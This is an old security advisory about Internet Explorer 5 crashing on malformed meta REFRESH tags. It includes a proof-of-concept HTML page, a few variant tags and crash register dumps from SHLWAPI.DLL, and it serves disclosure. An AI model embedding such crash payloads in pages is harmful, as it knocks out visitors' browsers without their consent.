COMMAND

    Internet Explorer

SYSTEMS AFFECTED

    IE5 on Windows 95/98/NT/2000 beta

PROBLEM

    Stan Bubrouski found following.  Internet Explorer 5 + all patches
    crashes on Windows 95/98/NT/2000  beta when it encounters  invalid
    meta REFRESH tags.  It is not known exactly what has to be in  the
    URL to cause it to crash, because it doesn't always happen.   This
    bug only affects IE, here are some examples that crash IE:

        <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
        <html>
        <head>
        <title>IE TEST</title>
        <meta http-equiv=REFRESH content="0; URL=file:///">
        </head>
        <center>
        <H1>Bye, bye, IE!</H1>
        </center>
        <HR>
        </body>
        </html>

    Other tags like:

        <meta http-equiv=REFRESH content="0; URL=fixme://">
        <meta http-equiv=REFRESH content="0; URL=fixme:///">

    also work.  Windows 98 gave two crashes one after another:

    IEXPLORE caused a stack fault in module SHLWAPI.DLL at 0177:70bd21bd.
    Registers:
    EAX=00000409 CS=0177 EIP=70bd21bd EFLGS=00010216
    EBX=00000000 SS=017f ESP=00551dd8 EBP=00552200
    ECX=00000004 DS=017f ESI=70bd7c68 FS=1fef
    EDX=00000004 ES=017f EDI=00000004 GS=0000
    Bytes at CS:EIP:
    56 33 f6 39 35 00 f0 c0 70 0f 85 e1 d1 01 00 39
    Stack dump:
    00000000 00000000 00000000 00000000 00000000 00000000
    00000000 00000000 00000000 00000000 00000000 00000000
    00000000 00000000 00000000 00000000


    IEXPLORE caused an invalid page fault in
    module SHLWAPI.DLL at 0177:70bd21bd.
    Registers:
    EAX=00000409 CS=0177 EIP=70bd21bd EFLGS=00010206
    EBX=00000000 SS=017f ESP=0054dde4 EBP=0054e20c
    ECX=004204f8 DS=017f ESI=00000000 FS=1fef
    EDX=00420414 ES=017f EDI=0042ec8c GS=0000
    Bytes at CS:EIP:
    56 33 f6 39 35 00 f0 c0 70 0f 85 e1 d1 01 00 39
    Stack dump:

SOLUTION

    One of those bugs you can't escape and can avoid them by  skipping
    the page and dissabling html reading in your mail client.